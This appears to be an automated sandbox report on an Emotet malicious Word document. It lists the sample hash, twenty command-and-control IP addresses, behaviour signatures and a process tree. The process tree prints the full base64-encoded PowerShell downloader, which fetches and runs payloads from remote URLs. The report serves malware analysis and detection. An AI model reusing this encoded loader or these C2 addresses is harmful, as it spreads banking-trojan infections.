Analysis
- max time kernel
140s - max time network
140s - platform
windows10_x64 - resource
win10 - submitted
27/10/2020, 07:05
General
- Target emotet_e1_feb6526ded01a976a77a9c2c48e407fbbae927f4b7b640ac04e51320c44d3b4c_2020-10-27__070358720396._fpx.doc
- Size 215KB
- Sample201027-89dshb9ts2
- SHA256 feb6526ded01a976a77a9c2c48e407fbbae927f4b7b640ac04e51320c44d3b4c
Score
10/10
Malware Config
Extracted
Family
-
emotet
Botnet
-
Epoch1
C2
-
45.16.226.117:443
-
104.131.92.244:8080
-
70.39.251.94:8080
-
87.230.25.43:8080
-
186.189.249.2:80
-
209.236.123.42:8080
-
5.196.35.138:7080
-
45.33.77.42:8080
-
46.43.2.95:8080
-
24.135.69.146:80
-
103.236.179.162:80
-
190.92.122.226:80
-
201.71.228.86:80
-
68.183.170.114:8080
-
183.176.82.231:80
-
168.197.45.36:80
-
152.169.22.67:80
-
111.67.12.221:8080
-
51.75.33.127:80
-
186.70.127.199:8090
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_feb6526ded01a976a77a9c2c48e407fbbae927f4b7b640ac04e51320c44d3b4c_2020-10-27__070358720396._fpx.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD UwBFAFQALQBpAHQARQBNACAAdgBhAHIAaQBBAGIAbABFADoAOQByAEoAbwAgACgAWwBUAHkAcABFAF0AKAAiAHsANQB9AHsAMAB9AHsANAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBmACAAJwBpAE8AJwAsACcAYwB0AG8AcgB5ACcALAAnAEkAUgBlACcALAAnAEQAJwAsACcALgAnACwAJwBTAHkAcwBUAGUAbQAuACcAKQAgACkAIAA7ACAAIAAgACQAYgBNAGMAOAA1AEgAPQBbAFQAeQBQAEUAXQAoACIAewAzAH0AewA0AH0AewAyAH0AewA2AH0AewAxAH0AewAwAH0AewA1AH0AIgAtAGYAJwBJAG4AdABNAEEATgBhAGcAZQAnACwAJwBQAE8AJwAsACcALgBTAEUAcgBWAEkAQwAnACwAJwBzAFkAUwBUAEUATQAuAE4AJwAsACcAZQB0ACcALAAnAFIAJwAsACcARQAnACkAOwAgACQATABfAHMAdQBuAHIAdQA9ACgAJwBJAGwAJwArACgAJwAwAGQAJwArACcAbwAnACkAKwAnADUAZgAnACkAOwAkAFgAYgBvADkAOAAyAGMAPQAkAEMAdABfAGQAMQB3AHoAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEkAZgB6ADMAMQA4AHQAOwAkAEwAcQByADgAaQB0ADgAPQAoACgAJwBSAGwANgAnACsAJwB0AHEAJwApACsAJwBpACcAKwAnAGYAJwApADsAIAAgACgARwBFAFQALQB2AEEAUgBpAEEAQgBMAGUAIAA5AFIAagBPACAAIAAtAHYAQQBsAFUARQBvAE4AIAApADoAOgAiAEMAYABSAGUAYABBAFQARQBEAEkAYABSAGAARQBjAFQATwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBUAGgAJwArACcAbABJACcAKwAnAGkAJwArACgAJwBnAGcANgBwACcAKwAnAG0AJwApACsAKAAnAFQAaAAnACsAJwBsAFEAMwBiAHkAdwBhAHcAJwArACcAVABoACcAKQArACcAbAAnACkAIAAtAFIAZQBQAEwAYQBDAGUAIAAgACgAJwBUACcAKwAnAGgAbAAnACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABQAGgAdQBkAGIAdABpAD0AKAAnAEgAdQAnACsAKAAnAGkAaAAnACsAJwAzADQAZgAnACkAKQA7ACAAKAAgACAAZwBDAGkAIAAgACgAJwB2ACcAKwAnAEEAcgBpAGEAQgBsAEUAOgBCAG0AYwAnACsAJwA4ACcAKwAnADUAaAAnACkAIAAgACkALgB2AEEAbABVAGUAOgA6ACIAUwBlAGAAQwB1AFIASQBgAFQAWQBQAFIATwBUAGAATwBjAE8ATAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAVQBkAHkAMABuAGoAdwA9ACgAJwBRACcAKwAoACcAZQAnACsAJwBvAHAAMgBmACcAKQArACcAcwAnACkAOwAkAFAAZwA0AGsAbAA3ADQAIAA9ACAAKAAnAFoANwAnACsAKAAnAGYAJwArACcAcwBtAHEAJwApACkAOwAkAFgAaAB3AHcAegBrAHoAPQAoACcAWAAnACsAJwBmAHEAJwArACgAJwAyAG0AJwArACcAdQBoACcAKQApADsAJABKAHcAMABxADkAZQA1AD0AKAAoACcARABiACcAKwAnAGUAaQA3ACcAKQArACcAeAB5ACcAKQA7ACQAUAA3AHIANwBmADQAMwA9ACQASABPAE0ARQArACgAKAAnAHcAMgAnACsAJwBYACcAKwAoACcASQBpAGcAZwA2ACcAKwAnAHAAbQAnACkAKwAoACcAdwAnACsAJwAyAFgAUQAzACcAKwAnAGIAeQAnACkAKwAoACcAdwAnACsAJwBhAHcAdwAyAFgAJwApACkALgAiAFIAYABlAFAAYABsAEEAYwBFACIAKAAoAFsAYwBoAGEAUgBdADEAMQA5ACsAWwBjAGgAYQBSAF0ANQAwACsAWwBjAGgAYQBSAF0AOAA4ACkALABbAFMAdABSAGkAbgBnAF0AWwBjAGgAYQBSAF0AOQAyACkAKQArACQAUABnADQAawBsADcANAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBrADMAMgAyAHgAOQA9ACgAJwBZAGIAJwArACcAcwBqACcAKwAoACcAawBwACcAKwAnAGcAJwApACkAOwAkAEkAZQBtADMAYgBtAGsAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAYwBsAGkAZQBuAFQAOwAkAEkAbwA1AHgANgBwAGwAPQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAKAAnAFsAJwArACcAIAB3AGUAJwApACsAKAAnACAAXQBbACAAJwArACcAdwBlACAAXQAnACkAKwAnAHkAJwArACcAbwAnACsAKAAnAHUAcgAnACsAJwBwAHIAaQAnACkAKwAoACcAdgAnACsAJwBhAHQAJwApACsAJwBlACcAKwAoACcAbABpAGYAJwArACcAZQAuAGMAJwApACsAKAAnAG8AbQBbACAAJwArACcAdwAnACkAKwAnAGUAJwArACcAIABdACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAJwBhAGQAJwArACgAJwBtACcAKwAnAGkAbgBbACAAJwArACcAdwAnACkAKwAoACcAZQAgACcAKwAnAF0AcwAnACkAKwAoACcAcQAnACsAJwBbACAAJwApACsAKAAnAHcAZQAgAF0AQAAnACsAJwBoACcAKQArACgAJwB0AHQAcAAnACsAJwBzACcAKQArACcAOgAnACsAJwBbACcAKwAoACcAIAB3AGUAJwArACcAIAAnACkAKwAnAF0AWwAnACsAKAAnACAAdwAnACsAJwBlACcAKQArACgAJwAgAF0AdwAnACsAJwB3ACcAKQArACcAdwAnACsAKAAnAC4AZgBpACcAKwAnAHIAcwAnACsAJwBhACcAKQArACgAJwB0AHQAJwArACcAcgAnACkAKwAoACcAYQBkAGUAJwArACcALgBjACcAKQArACgAJwBvAG0AWwAgACcAKwAnAHcAJwApACsAKAAnAGUAIABdACcAKwAnAHcAJwApACsAKAAnAHAALQBjAG8AbgB0ACcAKwAnAGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBbACAAdwBlACAAJwArACcAXQBwACcAKwAnAEkAWwAnACkAKwAoACcAIAB3ACcAKwAnAGUAJwArACcAIABdAEAAaAB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6AFsAIAAnACsAJwB3ACcAKQArACcAZQAnACsAKAAnACAAXQAnACsAJwBbACAAJwApACsAJwB3AGUAJwArACgAJwAgACcAKwAnAF0AYQBzACcAKwAnAGgAaQAnACkAKwAnAHEAJwArACcALgAnACsAJwB4ACcAKwAoACcAeQB6ACcAKwAnAFsAJwApACsAKAAnACAAdwBlACAAXQB3AHAALQBjAG8AbgAnACsAJwB0AGUAJwArACcAbgB0ACcAKQArACgAJwBbACcAKwAnACAAdwAnACkAKwAnAGUAJwArACcAIAAnACsAKAAnAF0AcQBYACcAKwAnAFsAIAB3ACcAKwAnAGUAIABdAEAAaAB0ACcAKwAnAHQAJwArACcAcABzADoAWwAnACkAKwAoACcAIAAnACsAJwB3AGUAIAAnACkAKwAoACcAXQAnACsAJwBbACAAdwBlACAAXQBhACcAKwAnAHIAeQBhAGIAaAAnACkAKwAnAGEAJwArACgAJwB0AHQAJwArACcAYQBoACcAKQArACgAJwBpAGcAJwArACcAaAAnACkAKwAnAHMAJwArACcAYwBoACcAKwAnAG8AbwAnACsAJwBsAC4AJwArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAFsAIAAnACsAKAAnAHcAJwArACcAZQAgAF0AdwBwACcAKwAnAC0AaQBuACcAKQArACcAYwAnACsAKAAnAGwAdQBkAGUAJwArACcAcwAnACsAJwBbACAAdwBlACAAXQAnACkAKwAoACcAQwAxAHgAJwArACcAWwAnACkAKwAoACcAIAB3ACcAKwAnAGUAIAAnACkAKwAoACcAXQBAAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnAHMAJwArACcAOgBbACcAKQArACgAJwAgAHcAZQAgAF0AWwAgAHcAZQAnACsAJwAgACcAKwAnAF0AYQBuAGcAZQAnACsAJwBsACcAKwAnAHMAYQAnACsAJwBuACcAKQArACgAJwBkACcAKwAnAGYAcgAnACkAKwAoACcAaQBlACcAKwAnAG4AJwApACsAJwBkACcAKwAoACcAcwAuAGMAbwBtACcAKwAnAFsAIAB3ACcAKwAnAGUAJwApACsAKAAnACAAJwArACcAXQB3ACcAKQArACcAcAAtACcAKwAoACcAaQBuAGMAJwArACcAbAAnACkAKwAnAHUAJwArACgAJwBkACcAKwAnAGUAcwBbACcAKQArACcAIAB3ACcAKwAnAGUAIAAnACsAKAAnAF0AZAAnACsAJwAzACcAKQArACcAMQAnACsAJwBbACcAKwAoACcAIAB3ACcAKwAnAGUAJwApACsAJwAgAF0AJwArACcAQABoACcAKwAoACcAdAB0AHAAJwArACcAcwA6AFsAJwArACcAIAAnACkAKwAnAHcAJwArACcAZQAnACsAKAAnACAAXQAnACsAJwBbACcAKQArACgAJwAgAHcAJwArACcAZQAgAF0AJwApACsAKAAnAGQAbQAnACsAJwBjAGMAYQAnACsAJwBpACcAKQArACgAJwBuAGwAJwArACcAYQAnACkAKwAnAHcALgAnACsAJwBjAG8AJwArACgAJwBtACcAKwAnAFsAIAB3AGUAJwApACsAJwAgACcAKwAnAF0AJwArACgAJwB3ACcAKwAnAHAAJwArACcALQBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwBbACAAJwApACsAKAAnAHcAZQAgAF0AMwBbACAAdwAnACsAJwBlACAAJwArACcAXQBAACcAKwAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwAHMAJwArACcAOgBbACcAKQArACcAIAAnACsAJwB3ACcAKwAoACcAZQAgAF0AWwAgACcAKwAnAHcAZQAnACkAKwAoACcAIABdAHQAJwArACcAdgAnACkAKwAoACcAYwAnACsAJwBhAGIAJwApACsAKAAnAGwAZQAnACsAJwBpACcAKQArACgAJwBuAHQAJwArACcAZQByAG4AJwArACcAZQB0AGQAZQAnACsAJwBhAGwALgAnACkAKwAoACcAYwBvACcAKwAnAG0AWwAnACsAJwAgAHcAZQAgAF0AJwApACsAKAAnAHcAJwArACcAcAAtAGMAbwAnACkAKwAnAG4AdAAnACsAJwBlACcAKwAoACcAbgB0AFsAIAB3AGUAJwArACcAIAAnACkAKwAoACcAXQBjACcAKwAnAHUAWwAgACcAKQArACcAdwAnACsAJwBlACAAJwArACcAXQAnACkALgAiAFIAZQBgAHAATABBAEMAZQAiACgAKAAnAFsAIAAnACsAKAAnAHcAJwArACcAZQAgAF0AJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAJwBmAHMAJwApAFsAMABdACkALgAiAHMAcABsAGAASQBUACIAKAAkAFUAcAA0ADcAbwBfADgAIAArACAAJABYAGIAbwA5ADgAMgBjACAAKwAgACQASgBzAHIAeABnAHIAaAApADsAJABNAG8AbwBjADMAcQAxAD0AKAAnAFIAJwArACgAJwB5AHQAJwArACcANwAnACkAKwAoACcAdwAnACsAJwB2ADUAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAagB0ADcAaQBiADQAIABpAG4AIAAkAEkAbwA1AHgANgBwAGwAKQB7AHQAcgB5AHsAJABJAGUAbQAzAGIAbQBrAC4AIgBkAGAATwBXAE4ATABgAE8AQQBkAGYASQBgAGwARQAiACgAJABWAGoAdAA3AGkAYgA0ACwAIAAkAFAANwByADcAZgA0ADMAKQA7ACQAVwB2AHAAcgA2ADQAegA9ACgAKAAnAEoAYQBvACcAKwAnAGkAZwAnACkAKwAnAGsAZQAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUAA3AHIANwBmADQAMwApAC4AIgBsAGUAbgBgAEcAdABoACIAIAAtAGcAZQAgADMAOQAxADgANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQAnACsAKAAnAG4AJwArACcAMwAyAF8AUAAnACkAKwAoACcAcgBvAGMAZQAnACsAJwBzACcAKQArACcAcwAnACkAKQAuACIAQwBSAGAARQBhAFQAZQAiACgAJABQADcAcgA3AGYANAAzACkAOwAkAEcAMwA4AGEAZAAyAG4APQAoACcAQgAnACsAKAAnAGgAMQByACcAKwAnAGEAZgA0ACcAKQApADsAYgByAGUAYQBrADsAJABUADMAdgBiADIAbwB6AD0AKAAnAEIAegAnACsAKAAnADMAJwArACcAYwByAHQAcAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBiAG4ANAA5ADEAMwA9ACgAJwBDACcAKwAnADIAJwArACgAJwAzAHYAMAAnACsAJwA3AG4AJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Iigg6pm\Q3bywaw\Z7fsmq.exeC:\Users\Admin\Iigg6pm\Q3bywaw\Z7fsmq.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ComputerDefaults\perfproc.exe"C:\Windows\SysWOW64\ComputerDefaults\perfproc.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2852-15-0x00000000020B0000-0x00000000020CE000-memory.dmp
memory/2852-14-0x0000000002090000-0x00000000020B0000-memory.dmp
memory/4308-5-0x00007FF8EBCE0000-0x00007FF8EC6CC000-memory.dmp
memory/4308-6-0x0000019A7F3E0000-0x0000019A7F3E1000-memory.dmp
memory/4308-7-0x0000019A7F8F0000-0x0000019A7F8F1000-memory.dmp
memory/4536-10-0x0000000000B90000-0x0000000000BB0000-memory.dmp
memory/4536-11-0x0000000000BB0000-0x0000000000BCE000-memory.dmp
memory/4700-0-0x00007FF8F2FA0000-0x00007FF8F35D7000-memory.dmp
memory/4700-3-0x000001F0FBDCA000-0x000001F0FBDCF000-memory.dmp
memory/4700-2-0x000001F0FC183000-0x000001F0FC18A000-memory.dmp
memory/4700-1-0x000001F0FBDCA000-0x000001F0FBDCF000-memory.dmp